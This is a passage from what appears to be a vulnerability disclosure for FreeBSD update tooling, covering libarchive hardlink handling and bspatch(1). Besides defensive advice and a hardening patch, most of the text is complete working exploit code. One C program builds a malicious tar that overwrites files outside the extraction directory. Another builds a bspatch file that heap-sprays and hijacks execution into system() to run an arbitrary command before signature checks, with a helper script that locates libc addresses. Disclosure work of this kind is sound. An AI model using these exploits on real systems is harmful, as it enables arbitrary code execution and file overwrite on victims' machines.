payloads. This allows an attacker to point a hard link at an existing target | |
file outside the extraction directory and use the data payload to overwrite the | |
file. | |
{Demonstration} | |
Exploit code is included below. | |
$ cd /tmp/cage | |
$ ls | |
vuln4.c | |
$ cc -o vuln4 vuln4.c -larchive | |
$ echo hello > /tmp/target | |
$ echo goodbye > data | |
$ ./vuln4 x.tar data p ../../../tmp/target | |
$ tar tvf x.tar | |
-rwxrwxrwx 0 0 0 8 Jan 1 1970 p link to ../../../tmp/target | |
$ tar xvf x.tar | |
x p | |
$ cat /tmp/target | |
goodbye | |
The code could be rewritten to use symlinks instead of dot-dot paths: | |
$ cd /tmp/cage | |
$ ls | |
vuln4 vuln4.c | |
$ echo hello > /tmp/target | |
$ echo goodbye > data | |
$ ln -s /tmp/target sym | |
$ ./vuln4 x.tar data p sym | |
$ tar tvf x.tar | |
-rwxrwxrwx 0 0 0 8 Jan 1 1970 p link to sym | |
$ tar xvf x.tar | |
x p | |
$ cat /tmp/target | |
goodbye | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
#include <sys/types.h> | |
#include <sys/stat.h> | |
#include <archive.h> | |
#include <archive_entry.h> | |
#include <fcntl.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
static void make_archive(char *, char *, char *, char *); | |
static void patch_archive(char *, char *); | |
static void | |
make_archive(char *archive, char *file, char *pathname, char *linkname) | |
{ | |
int fd; | |
ssize_t len; | |
char buf[1024]; | |
struct stat s; | |
struct archive *a; | |
struct archive_entry *ae; | |
a = archive_write_new(); | |
archive_write_set_format_pax(a); | |
archive_write_open_filename(a, archive); | |
ae = archive_entry_new(); | |
archive_entry_set_pathname(ae, pathname); | |
/* dummy file type -- AE_SET_HARDLINK has priority anyway */ | |
archive_entry_set_filetype(ae, AE_IFREG); | |
stat(file, &s); | |
archive_entry_set_size(ae, s.st_size); | |
archive_entry_set_uid(ae, 0); | |
archive_entry_set_gid(ae, 0); | |
archive_entry_set_perm(ae, 0777); | |
/* | |
* libarchive allows _extraction_ of hardlink payloads, as per the POSIX | |
* specs for pax, but not without some arm-twisting. We set ctime to force | |
* the addition of a pax extended header so that libarchive doesn't zero | |
* the size field during _extraction_. | |
* | |
* libarchive disallows _creation_ of hardlink payloads for all supported | |
* tar formats (pax, ustar, gnutar, v7tar). If we set the hardlink, | |
* libarchive will zero the size field during _creation_, so we simply | |
* create a regular-file entry and patch the archive on disk via | |
* patch_archive() when done. | |
*/ | |
archive_entry_set_ctime(ae, 1, 1); | |
/* archive_entry_set_hardlink(ae, linkname); */ | |
archive_write_header(a, ae); | |
fd = open(file, O_RDONLY); | |
while ((len = read(fd, buf, sizeof buf)) > 0) | |
archive_write_data(a, buf, (size_t)len); | |
close(fd); | |
archive_entry_free(ae); | |
archive_write_close(a); | |
archive_write_free(a); | |
patch_archive(archive, linkname); | |
} | |
static void | |
patch_archive(char *archive, char *linkname) | |
{ | |
/* extended header + extended body + checksum offset */ | |
static const long patch_offset = (512 + 512 + 148); | |
FILE *fp; | |
unsigned char *cp; | |
unsigned long checksum; | |
fp = fopen(archive, "r+b"); | |
fseek(fp, patch_offset, SEEK_SET); | |
fscanf(fp, "%lo", &checksum); | |
/* entry type 0x30 -> 0x31 */ | |
checksum += 1; | |
cp = (unsigned char *)linkname; | |
/* linkname char 0x00 -> 0x## */ | |
while (*cp) checksum += *cp++; | |
fseek(fp, patch_offset, SEEK_SET); | |
fprintf(fp, "%.6lo%c 1%s", checksum, '\0', linkname); | |
fclose(fp); | |
} | |
int | |
main(int argc, char *argv[]) | |
{ | |
if (argc != 5) { | |
fprintf(stderr, "Usage: %s archive file pathname linkname\n", argv[0]); | |
fprintf(stderr, "\tarchive output malicious archive here\n"); | |
fprintf(stderr, "\tfile file containing overwrite data\n"); | |
fprintf(stderr, "\tpathname archive-entry pathname\n"); | |
fprintf(stderr, "\tlinkname archive-entry linkname\n"); | |
fprintf(stderr, "\t [can use ../ in linkname]\n"); | |
return EXIT_FAILURE; | |
} | |
make_archive(argv[1], argv[2], argv[3], argv[4]); | |
return 0; | |
} | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
{Defense} | |
POSIX requires that hard links point at only extracted items, though the | |
possibility that a hard link can use a previously extracted symlink as a target | |
and escape the extraction directory should be borne in mind. | |
It seems a good idea to excise the data-payload functionality, which is not a | |
mandatory POSIX feature and which does not seem to be widely supported anyway. | |
Look for the lines beginning | |
} else if (r == 0 && a->filesize > 0) { | |
in create_filesystem_object() in libarchive/archive_write_disk_posix.c. | |
/=========\ | |
| BSPATCH | | |
\=========/ | |
{Description} | |
The bspatch(1) utility is executed before SHA256 verification in both | |
freebsd-update(8) and portsnap(8). | |
It contains a memory-corruption vulnerability that allows highly reliable | |
exploitation across system builds, defeating all exploit-mitigation features | |
found in FreeBSD. | |
The demonstration exploit contains copious comments providing a detailed | |
analysis of the vulnerability. | |
{Defense} | |
The patch below hardens bspatch(1). Notes on the patch: | |
- Additional checks are added, but the original checks remain. Hence, the | |
patched bspatch(1) is observably at least as secure as the original. | |
- Some of the checks may not be practically -- or even at all -- necessary, | |
but this will not always be immediately obvious, so the checks serve the | |
purpose of self-documented constraints. They also guard against future | |
changes, aggressive compiler optimizations, etc. | |
- Some of the checks could be made earlier, at the cost of clarity. | |
- It is assumed that empty files are pathological. | |
- It is assumed that only ctrl[2] is permitted to be negative, not ctrl[0] | |
and ctrl[1]. | |
- The checks against SSIZE_MAX rather than SIZE_MAX are consistent with | |
the original code and provide greater clarity, being a fully signed | |
comparison. | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
@@ -27,7 +27,10 @@ | |
#include <sys/cdefs.h> | |
__FBSDID("$FreeBSD$"); | |
+#include <assert.h> | |
#include <bzlib.h> | |
+#include <limits.h> | |
+#include <stdint.h> | |
#include <stdlib.h> | |
#include <stdio.h> | |
#include <string.h> | |
@@ -63,8 +66,8 @@ | |
BZFILE * cpfbz2, * dpfbz2, * epfbz2; | |
int cbz2err, dbz2err, ebz2err; | |
int fd; | |
- ssize_t oldsize,newsize; | |
- ssize_t bzctrllen,bzdatalen; | |
+ off_t oldsize,newsize; | |
+ off_t bzctrllen,bzdatalen; | |
u_char header[32],buf[8]; | |
u_char *old, *new; | |
off_t oldpos,newpos; | |
@@ -72,6 +75,8 @@ | |
off_t lenread; | |
off_t i; | |
+ assert(OFF_MAX >= INT64_MAX); | |
+ | |
if(argc!=4) errx(1,"usage: %s oldfile newfile patchfile\n",argv[0]); | |
/* Open patch file */ | |
@@ -107,8 +112,10 @@ | |
bzctrllen=offtin(header+8); | |
bzdatalen=offtin(header+16); | |
newsize=offtin(header+24); | |
- if((bzctrllen<0) || (bzdatalen<0) || (newsize<0)) | |
- errx(1,"Corrupt patch\n"); | |
+ if((bzctrllen<0) || (bzctrllen>OFF_MAX-32) || | |
+ (bzdatalen<0) || (bzctrllen+32>OFF_MAX-bzdatalen) || | |
+ (newsize<=0) || (newsize>SSIZE_MAX)) | |
+ errx(1,"Corrupt patch\n"); | |
/* Close patch file and re-open it via libbzip2 at the right places */ | |
if (fclose(f)) | |
@@ -136,12 +143,13 @@ | |
errx(1, "BZ2_bzReadOpen, bz2err = %d", ebz2err); | |
if(((fd=open(argv[1],O_RDONLY|O_BINARY,0))<0) || | |
- ((oldsize=lseek(fd,0,SEEK_END))==-1) || | |
- ((old=malloc(oldsize+1))==NULL) || | |
+ ((oldsize=lseek(fd,0,SEEK_END))<=0) || | |
+ (oldsize>SSIZE_MAX) || | |
+ ((old=malloc(oldsize))==NULL) || | |
(lseek(fd,0,SEEK_SET)!=0) || | |
(read(fd,old,oldsize)!=oldsize) || | |
(close(fd)==-1)) err(1,"%s",argv[1]); | |
- if((new=malloc(newsize+1))==NULL) err(1,NULL); | |
+ if((new=malloc(newsize))==NULL) err(1,NULL); | |
oldpos=0;newpos=0; | |
while(newpos<newsize) { | |
@@ -152,18 +160,23 @@ | |
(cbz2err != BZ_STREAM_END))) | |
errx(1, "Corrupt patch\n"); | |
ctrl[i]=offtin(buf); | |
- }; | |
+ } | |
/* Sanity-check */ | |
- if(newpos+ctrl[0]>newsize) | |
- errx(1,"Corrupt patch\n"); | |
+ if((ctrl[0]<0) || (ctrl[0]>INT_MAX) || | |
+ (newpos>OFF_MAX-ctrl[0]) || (newpos+ctrl[0]>newsize)) | |
+ errx(1,"Corrupt patch\n"); | |
- /* Read diff string */ | |
+ /* Read diff string - 4th arg converted to int */ | |
lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]); | |
if ((lenread < ctrl[0]) || | |
((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END))) | |
errx(1, "Corrupt patch\n"); | |
+ /* Sanity-check */ | |
+ if(oldpos>OFF_MAX-ctrl[0]) | |
+ errx(1,"Corrupt patch\n"); | |
+ | |
/* Add old data to diff string */ | |
for(i=0;i<ctrl[0];i++) | |
if((oldpos+i>=0) && (oldpos+i<oldsize)) | |
@@ -174,19 +187,25 @@ | |
oldpos+=ctrl[0]; | |
/* Sanity-check */ | |
- if(newpos+ctrl[1]>newsize) | |
- errx(1,"Corrupt patch\n"); | |
+ if((ctrl[1]<0) || (ctrl[1]>INT_MAX) || | |
+ (newpos>OFF_MAX-ctrl[1]) || (newpos+ctrl[1]>newsize)) | |
+ errx(1,"Corrupt patch\n"); | |
- /* Read extra string */ | |
+ /* Read extra string - 4th arg converted to int */ | |
lenread = BZ2_bzRead(&ebz2err, epfbz2, new + newpos, ctrl[1]); | |
if ((lenread < ctrl[1]) || | |
((ebz2err != BZ_OK) && (ebz2err != BZ_STREAM_END))) | |
errx(1, "Corrupt patch\n"); | |
+ /* Sanity-check */ | |
+ if((ctrl[2]<0) ? | |
+ (oldpos<OFF_MIN-ctrl[2]) : (oldpos>OFF_MAX-ctrl[2])) | |
+ errx(1,"Corrupt patch\n"); | |
+ | |
/* Adjust pointers */ | |
newpos+=ctrl[1]; | |
oldpos+=ctrl[2]; | |
- }; | |
+ } | |
/* Clean up the bzip2 reads */ | |
BZ2_bzReadClose(&cbz2err, cpfbz2); | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
{Demonstration} | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
/* | |
* bspatch(1) demo exploit (i386 version) | |
* | |
* The bspatch(1) utility is executed before SHA256 verification in both | |
* freebsd-update(8) and portsnap(8). | |
* | |
* FreeBSD countermeasures defeated: | |
* | |
* SSP (-all): yes (heap-based) | |
* DEP: yes (call2libc, single-address entropy via | |
* - amd64 native NX ~2GB bzip2-compressed dual heap spray) | |
* - i386 via PAE/PAE_TABLES | |
* RELRO (full): yes (RELRO-protected sections untouched) | |
* ASLR: no (ASLR not in stock FreeBSD yet) | |
* | |
* $ cc -o bsx bsx.c -lbz2 | |
* $ # the script included below | |
* $ ./sys.sh | |
* 0x283A1660 | |
* $ # patch generation takes ~3 mins on modest hardware | |
* $ ./bsx patch 0x283A1660 "echo boom" | |
* $ # any file will do | |
* $ cp /bin/ls . | |
* $ # heap-spray decompression takes ~10 secs | |
* $ bspatch ls new patch | |
* boom | |
* bspatch: Corrupt patch | |
*/ | |
/* | |
#!/bin/sh | |
# Grabs the local system() address for argv[2] | |
LIBCINFO=`ldd -f '%o\t%p\t%x\n' "$(which bspatch)" | grep '^libc'` | |
LIBCP=`echo "$LIBCINFO" | cut -f2` | |
LIBCB=`echo "$LIBCINFO" | cut -f3 | sed 's/^0x//'` | |
LIBCS=`nm -PD "$LIBCP" | grep '^system ' | cut -f3 -d' ' | tr 'a-f' 'A-F'` | |
echo 'obase=16; ibase=16; '"$LIBCB"' + '"$LIBCS" | bc | sed 's/^/0x/' | |
*/ | |
#include <sys/types.h> | |
#include <assert.h> | |
#include <bzlib.h> | |
#include <fcntl.h> | |
#include <stdint.h> | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <string.h> | |
#include <unistd.h> | |
typedef struct { | |
unsigned char *buf; | |
size_t len; | |
} BadPatch_Block; | |
typedef struct { | |
const char *cmd; | |
uint32_t system_addr; | |
unsigned char header[32]; | |
BadPatch_Block cblock; | |
BadPatch_Block dblock; | |
BadPatch_Block eblock; | |
} BadPatch; | |
static void u32_buf(uint32_t u32, unsigned char *buf); | |
static int64_t i64_clr_bit(int64_t i64, int bit); | |
static void i64_sgnmag_buf(int64_t i64, unsigned char *sgnmag_buf); | |
static int badpatch_gen_header(BadPatch *bp); | |
static int badpatch_gen_cblock(BadPatch *bp); | |
static int badpatch_gen_dblock(BadPatch *bp); | |
static int badpatch_gen_eblock(BadPatch *bp); | |
BadPatch *badpatch_create(uint32_t system_addr, const char *cmd); | |
void badpatch_serialize(BadPatch *bp, int fd); | |
void badpatch_destroy(BadPatch *bp); | |
static void | |
u32_buf(uint32_t u32, unsigned char *buf) | |
{ | |
int i; | |
for (i = 0; i < 4; i++) { | |
buf[i] = u32 & 0xff; | |
u32 >>= 8; | |
} | |
} | |
static int64_t | |
i64_clr_bit(int64_t i64, int bit) | |
{ | |
assert(1 <= bit && bit <= 64); | |
return i64 & ~((bit == 64) ? INT64_MIN : ((int64_t)1 << (bit - 1))); | |
} | |
/* Patches use sign-magnitude representation. */ | |
static void | |
i64_sgnmag_buf(int64_t i64, unsigned char *sgnmag_buf) | |
{ | |
int i, sgn; | |
assert(i64 != INT64_MIN); | |
if ((sgn = i64 < 0)) i64 = -i64; | |
for (i = 0; i < 8; i++) { | |
sgnmag_buf[i] = i64 & 0xff; | |
i64 >>= 8; | |
} | |
if (sgn) sgnmag_buf[7] |= 0x80; | |
} | |
static int | |
badpatch_gen_header(BadPatch *bp) | |
{ | |
memcpy(bp->header, "BSDIFF40", 8); | |
i64_sgnmag_buf(bp->cblock.len, bp->header + 8); | |
i64_sgnmag_buf(bp->dblock.len, bp->header + 16); | |
/* | |
* We claim the new-file size is 0x7fffffff bytes so that we can spray | |
* 0x7fffffff - 1 = 0x7ffffffe bytes of data and not have the main loop | |
* terminate prematurely. The additional byte will be used for a d-block | |
* junk write, and bspatch(1)'s own additional byte will remain unused. | |
*/ | |
i64_sgnmag_buf(0x7fffffff, bp->header + 24); | |
return 0; | |
} | |
static int | |
badpatch_gen_cblock(BadPatch *bp) | |
{ | |
/* | |
* The heap profile (ignoring the base chunk) consists entirely of unfreed | |
* large-class allocations, all page contiguous: | |
* | |
* |hhh|sb1|bz1|ds1|sb2|bz2|ds2|sb3|bz3|ds3|ooo|tv1|tv2|tv3|NNN| | |
* | |
* hhh 3 pages contains arena_chunk_t header | |
* sb1 4 pages patch c-block: 16,384-byte stdio buffer | |
* bz1 2 pages patch c-block: bzFile struct | |
* ds1 16 pages patch c-block: DState struct | |
* sb2 4 pages patch d-block: 16,384-byte stdio buffer | |
* bz2 2 pages patch d-block: bzFile struct | |
* ds2 16 pages patch d-block: DState struct | |
* sb3 4 pages patch e-block: 16,384-byte stdio buffer | |
* bz3 2 pages patch e-block: bzFile struct | |
* ds3 16 pages patch e-block: DState struct | |
* tv1 98 pages patch c-block: BWT T-vector and block data | |
* tv2 98 pages patch d-block: BWT T-vector and block data | |
* tv3 98 pages patch e-block: BWT T-vector and block data | |
* ooo ? pages old-file buffer we don't necessarily control; | |
* plenty of room for it in the current chunk in the | |
* vast majority of cases | |
* NNN ? pages new-file buffer we control; can be positioned | |
* behind tv2 and tv3 by using 900k*4 compression | |
* to bump up the tv[1-3] page count, but this buys | |
* little | |
* | |
* There's no way to force jemalloc to position our new-file buffer | |
* _behind_ the useful heap data, so we manipulate 'newpos' within | |
* bspatch(1) to get to that data. Execution hijack is then via a poisoned | |
* FILE handle internal to the c-block bzFile struct (bz1) at struct | |
* offset 0. | |
* | |
* NNN will be ~2GB (RLIMIT_AS/RLIMIT_VMEM is unlimited by default). The | |
* first purpose of this huge-class allocation is to force a new 4MB | |
* chunk, which, given the highly deterministic behavior of calls to | |
* mmap(NULL, ...) -- and the fixed sizes of the stdio buffers and of the | |
* arena_chunk_t header in the previous chunk -- allows us to calculate a | |
* reliable value that's independent of the size of the old-file buffer and | |
* other heap noise: We just subtract 7 pages (hhh + sb1 = 7 pages) from | |
* 4MB to get the value (NNN - bz1), which negated becomes our delta value. | |
* This delta value will end up in the bspatch(1) 'newpos' variable after | |
* some arithmetic acrobatics. | |
*/ | |
static const int64_t delta = -(0x400000 - 0x7000); | |
static unsigned char tuples[48]; | |
unsigned len; | |
len = 1024; | |
if (!(bp->cblock.buf = malloc(len))) { | |
perror("badpatch_gen_cblock()"); | |
return 1; | |
} | |
/* | |
* Here's the vulnerable code in bspatch.c (comments removed): | |
* | |
* oldpos=0;newpos=0; | |
* while(newpos<newsize) { | |
* for(i=0;i<=2;i++) { | |
* lenread = BZ2_bzRead(&cbz2err, cpfbz2, buf, 8); | |
* if ((lenread < 8) || ((cbz2err != BZ_OK) && | |
* (cbz2err != BZ_STREAM_END))) | |
* errx(1, "Corrupt patch\n"); | |
* ctrl[i]=offtin(buf); | |
* }; | |
* | |
* if(newpos+ctrl[0]>newsize) | |
* errx(1,"Corrupt patch\n"); | |
* | |
* lenread = BZ2_bzRead(&dbz2err, dpfbz2, new + newpos, ctrl[0]); | |
* if ((lenread < ctrl[0]) || | |
* ((dbz2err != BZ_OK) && (dbz2err != BZ_STREAM_END))) | |
* errx(1, "Corrupt patch\n"); | |
* | |
* for(i=0;i<ctrl[0];i++) | |
* if((oldpos+i>=0) && (oldpos+i<oldsize)) | |
* new[newpos+i]+=old[oldpos+i]; | |
* | |
* newpos+=ctrl[0]; | |
* oldpos+=ctrl[0]; | |
* | |
* if(newpos+ctrl[1]>newsize) | |
* errx(1,"Corrupt patch\n"); | |
* | |
* lenread = BZ2_bzRead(&ebz2err, epfbz2, new + newpos, ctrl[1]); | |
* if ((lenread < ctrl[1]) || | |
* ((ebz2err != BZ_OK) && (ebz2err != BZ_STREAM_END))) | |
* errx(1, "Corrupt patch\n"); | |
* | |
* newpos+=ctrl[1]; | |
* oldpos+=ctrl[2]; | |
* }; | |
* | |
* We control the 64-bit off_t values in ctrl[] and want 'newpos' to | |
* contain our delta value (a negative value), but there are some problems. | |
* | |
* The first problem is that placing our delta in ctrl[0] (or ctrl[1]) | |
* will easily bypass bspatch(1)'s own sanity checks but not those of | |
* BZ2_bzRead(), which checks for negative values, resulting in an | |
* immediate return to the caller, then termination. Note, however, that | |
* this bz2 function expects an int, so these off_t values get truncated to | |
* a 32-bit int on both i386 and amd64. As long as the off_t values are | |
* sign-bit clean for an int, we can use any off_t values we like. To get | |
* our desired delta value, we use the following equation based | |
* on off_t values: | |
* | |
* delta (32nd bit set) = delta (32nd bit clear) + 0x7ffffffe + 2 | |
* | |
* The second problem is that if our off_t values are positive (such as | |
* 0x7ffffffe), we actually have to deliver that much data to satisfy the | |
* 'lenread' check (the bzip2 compression helps), which is the second | |
* purpose of the ~2GB allocation. If, however, the off_t values are | |
* negative, that check is easily satisfied, and we can simply ensure a | |
* BZ_OK or BZ_STREAM_END return to avoid termination, a fact we exploit to | |
* avoid having to deliver int-truncated "delta (32nd bit clear)" bytes of | |
* data into the now-cramped address space on i386. | |
* | |
* Here's the sequence of c-block tuples and events: | |
* | |
* 1st loop iteration: (0, 0x7ffffffe, 0) | |
* | |
* ctrl[0] == 0 | |
* effectively a no-op | |
* using ctrl[1] avoids the slow, somewhat destructive for-loop | |
* ctrl[1] == 0x7ffffffe | |
* sanity check OK: 0 + 0x7ffffffe < 0x7fffffff | |
* sign-bit clean for int, satisfying BZ2_bzRead() check | |
* heap-sprays 0x7ffffffe bytes of data from e-block | |
* 'lenread' check OK: 0x7ffffffe == 0x7ffffffe | |
* bumps 'newpos' from 0 to 0x7ffffffe | |
* ctrl[2] == 0 | |
* another no-op | |
* | |
* 2nd loop iteration: (delta_sign_bit_clear + 2, 5020, 0) | |
* | |
* ctrl[0] == delta_sign_bit_clear + 2 (negative value) | |
* sanity check OK: 0x7ffffffe + (negative value) < 0x7fffffff | |
* sign-bit clean for int, satisfying BZ2_bzRead() check | |
* reads a junk byte from d-block, returning BZ_STREAM_END | |
* 'lenread' check OK: 1 > (negative value) | |
* BZ_STREAM_END avoids termination (but kills bz2 stream, which | |
* is why we can't repeatedly use this trick) | |
* for-loop avoided: 0 > (negative value) | |
* drops 'newpos' from 0x7ffffffe to the desired delta value, per | |
* the equation given earlier | |
* ctrl[1] == 5020 | |
* sanity check OK: (negative value) + 5020 < 0x7fffffff | |
* reads in 5020 bytes of data from e-block | |
* corrupts c-block management data beginning at new[delta] | |
* 'lenread' check OK: 5020 == 5020 | |
* bumps 'newpos' up 5020 (insignificant) | |
* ctrl[2] == 0 | |
* another no-op | |
* | |
* 3rd loop iteration: | |
* | |
* tries to read more data from c-block via BZ2_bzRead() | |
* hijack chain triggered because of corrupted management data | |
*/ | |
i64_sgnmag_buf(0x7ffffffe, tuples + 8); | |
i64_sgnmag_buf(i64_clr_bit(delta, 32) + 2, tuples + 24); | |
i64_sgnmag_buf(5020, tuples + 32); | |
if (BZ2_bzBuffToBuffCompress((char *)bp->cblock.buf, &len, (char *)tuples, | |
sizeof tuples, 1, 0, 0) != BZ_OK) { | |
fputs("badpatch_gen_cblock(): compression failure\n", stderr); | |
return 1; | |
} | |
bp->cblock.len = len; | |
return 0; | |
} | |
static int | |
badpatch_gen_dblock(BadPatch *bp) | |
{ | |
static unsigned char junk[1]; | |
unsigned len; | |
len = 1024; | |
if (!(bp->dblock.buf = malloc(len))) { | |
perror("badpatch_gen_dblock()"); | |
return 1; | |
} | |
if (BZ2_bzBuffToBuffCompress((char *)bp->dblock.buf, &len, (char *)junk, | |
sizeof junk, 1, 0, 0) != BZ_OK) { | |
fputs("badpatch_gen_dblock(): compression failure\n", stderr); | |
return 1; | |
} | |
bp->dblock.len = len; | |
return 0; | |
} | |
static int | |
badpatch_gen_eblock(BadPatch *bp) | |
{ | |
/* | |
* The third purpose of the ~2GB allocation is a dual heap spray that | |
* effectively reduces exploitation entropy to a single system() address, | |
* which should be consistent across builds. | |
* | |
* The low-spray pattern is a fake FILE struct allowing a hijack to occur | |
* within libc's _sread(): | |
* | |
* |----- libbz2 -----|------------------ libc -----------------| | |
* BZ2_bzRead->myfeof->fgetc->__sgetc->__srget->__srefill->_sread | |
* | |
* (*fp->_read)(fp->_cookie, buf, n); | |
* | |
* The use of _cookie allows easy argument passing to system() straight | |
* from the heap, without the need for ROP gadgets. | |
* | |
* Important FILE fields: | |
* | |
* _r 0 is good enough; __sgetc() macro will call __srget(): | |
* __sgetc(p) (--(p)->_r < 0 ? __srget(p) : (int)(*(p)->_p++)) | |
* This is also why a 16-byte pattern won't work -- we don't want | |
* the _read field, with its positive system() address, to be | |
* overloaded as the _r field. | |
* | |
* _flags 0x0010 satisfies ferror() and ensures smooth sailing in | |
* __srefill(); __SRW set; __SERR, __SEOF, __SRD, __SWR, __SLBF, | |
* __SNBF unset. | |
* | |
* _bf._base 0x1 ensures more smooth sailing in __srefill(). | |
* | |
* _cookie 0x88888888 is the high-spray address, passed to system(). | |
* | |
* _read 0x41414141 is the placeholder for the system() address. | |
* | |
* This may seem hairy, as if there are 63/64 ways for things to go wrong, | |
* but the desired entry point is a virtual certainty, for reasons | |
* explained below. | |
* | |
* (The alternative hijack via 'bzfree' and 'opaque' in bz_stream requires | |
* too much heap management -- minimally, restoring a BWT T-vector and a | |
* pointer, thus increasing exploitation entropy to two absolute addresses | |
* instead of one.) | |
*/ | |
static const unsigned long lo_spray_system_addr_off = 40; | |
static unsigned char lo_spray[64] = | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x10\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" | |
"\x88\x88\x88\x88\x00\x00\x00\x00\x41\x41\x41\x41\x00\x00\x00\x00" | |
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; | |
static unsigned char hi_spray[100000]; | |
static unsigned char bzFile_poison[5020]; | |
unsigned char *full_payload; | |
unsigned long i; | |
unsigned len; | |
u32_buf(bp->system_addr, lo_spray + lo_spray_system_addr_off); | |
/* | |
* The high-spray pattern is the sh -c command string. We drop it on top of | |
* 100k spaces with NUL termination to stay well clear of ARG_MAX/E2BIG. | |
* Then we repeat the pattern for around 1GB. We'd have to be extremely | |
* unlucky not to hit a space at 0x88888888. | |
*/ | |
memset(hi_spray, ' ', sizeof hi_spray); | |
strcpy((char *)hi_spray + sizeof hi_spray - strlen(bp->cmd) - 1, bp->cmd); | |
/* | |
* We'll poison bzFile's internal FILE handle with the low-spray address | |
* 0x44444444, which seems arbitrary but is tactically sound: jemalloc | |
* chunks are 4MB-aligned, which means their starting addresses are | |
* congruent modulo 64 to the address 0x44444440 -- i.e., our 64-byte | |
* low-spray pattern should begin anew there, given that huge-class | |
* allocations lack arena overhead and begin at chunk boundaries. | |
* 0x44444444 is obviously more aesthetically pleasing than 0x44444440, so | |
* we offset our FILE struct 4 bytes into the 64-byte pattern. | |
* | |
* The remainder of the poisoning buffer consists of NULs. This is because | |
* we want bzf->strm.avail_in to be 0 so that BZ2_bzRead() kicks off the | |
* execution chain given earlier, beginning at myfeof(): | |
* | |
* if (bzf->strm.avail_in == 0 && !myfeof(bzf->handle)) | |
* | |
*/ | |
memcpy(bzFile_poison, "\x44\x44\x44\x44", 4); | |
/* Ugh, libbz2 interface. Ignore compiler, POSIX has sane UINT_MAX. */ | |
len = 10000000; | |
if (!(bp->eblock.buf = malloc(len))) { | |
perror("badpatch_gen_eblock()"); | |
return 1; | |
} | |
if (!(full_payload = malloc(0x7ffffffeUL + sizeof bzFile_poison))) { | |
perror("badpatch_gen_eblock()"); | |
return 1; | |
} | |
memset(full_payload, 0, 0x7ffffffeUL + sizeof bzFile_poison); | |
for (i = 0; i <= 0x40000000 - sizeof lo_spray; i += sizeof lo_spray) | |
memcpy(full_payload + i, lo_spray, sizeof lo_spray); | |
for (; i <= 0x7ffffffe - sizeof hi_spray; i += sizeof hi_spray) | |
memcpy(full_payload + i, hi_spray, sizeof hi_spray); | |
memcpy(full_payload + 0x7ffffffe, bzFile_poison, sizeof bzFile_poison); | |
if (BZ2_bzBuffToBuffCompress((char *)bp->eblock.buf, &len, | |
(char *)full_payload, 0x7ffffffeUL + sizeof bzFile_poison, | |
1, 0, 0) != BZ_OK) { | |
fputs("badpatch_gen_eblock(): compression failure\n", stderr); | |
free(full_payload); | |
return 1; | |
} | |
bp->eblock.len = len; | |
free(full_payload); | |
return 0; | |
} | |
BadPatch * | |
badpatch_create(uint32_t system_addr, const char *cmd) | |
{ | |
BadPatch *bp; | |
if (!(bp = malloc(sizeof *bp))) { | |
perror("badpatch_create()"); | |
return NULL; | |
} | |
bp->system_addr = system_addr; | |
bp->cmd = cmd; | |
bp->cblock.buf = NULL; | |
bp->dblock.buf = NULL; | |
bp->eblock.buf = NULL; | |
if (badpatch_gen_cblock(bp) || badpatch_gen_dblock(bp) || | |
badpatch_gen_eblock(bp) || badpatch_gen_header(bp)) { | |
badpatch_destroy(bp); | |
return NULL; | |
} | |
return bp; | |
} | |
void | |
badpatch_serialize(BadPatch *bp, int fd) | |
{ | |
write(fd, bp->header, sizeof bp->header); | |
write(fd, bp->cblock.buf, bp->cblock.len); | |
write(fd, bp->dblock.buf, bp->dblock.len); | |
write(fd, bp->eblock.buf, bp->eblock.len); | |
} | |
void | |
badpatch_destroy(BadPatch *bp) | |
{ | |
if (bp) { | |
if (bp->cblock.buf) free(bp->cblock.buf); | |
if (bp->dblock.buf) free(bp->dblock.buf); | |
if (bp->eblock.buf) free(bp->eblock.buf); | |
free(bp); | |
} | |
} | |
int | |
main(int argc, char *argv[]) | |
{ | |
int fd; | |
const char *filename, *cmd; | |
uint32_t system_addr; | |
BadPatch *bp; | |
if (argc < 2) { | |
fprintf(stderr, "Usage: %s filename [system_addr] [cmd]\n", argv[0]); | |
fprintf(stderr, "\tfilename output malicious patch file here\n"); | |
fprintf(stderr, "\tsystem_addr system() address for target build\n"); | |
fprintf(stderr, "\t [default: 0x41414141 crash demo]\n"); | |
fprintf(stderr, "\tcmd sh -c command string\n"); | |
fprintf(stderr, "\t [default: date(1)]\n"); | |
return EXIT_FAILURE; | |
} | |
filename = argv[1]; | |
system_addr = (argc > 2) ? strtoul(argv[2], NULL, 16) : 0x41414141; | |
cmd = (argc > 3) ? argv[3] : "date"; | |
if ((fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0640)) == -1) { | |
perror("open()"); | |
return EXIT_FAILURE; | |
} | |
if (!(bp = badpatch_create(system_addr, cmd))) { | |
fputs("patch creation failed\n", stderr); | |
close(fd); | |
return EXIT_FAILURE; | |
} | |
badpatch_serialize(bp, fd); | |
badpatch_destroy(bp); | |
close(fd); | |
return 0; | |
} | |
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment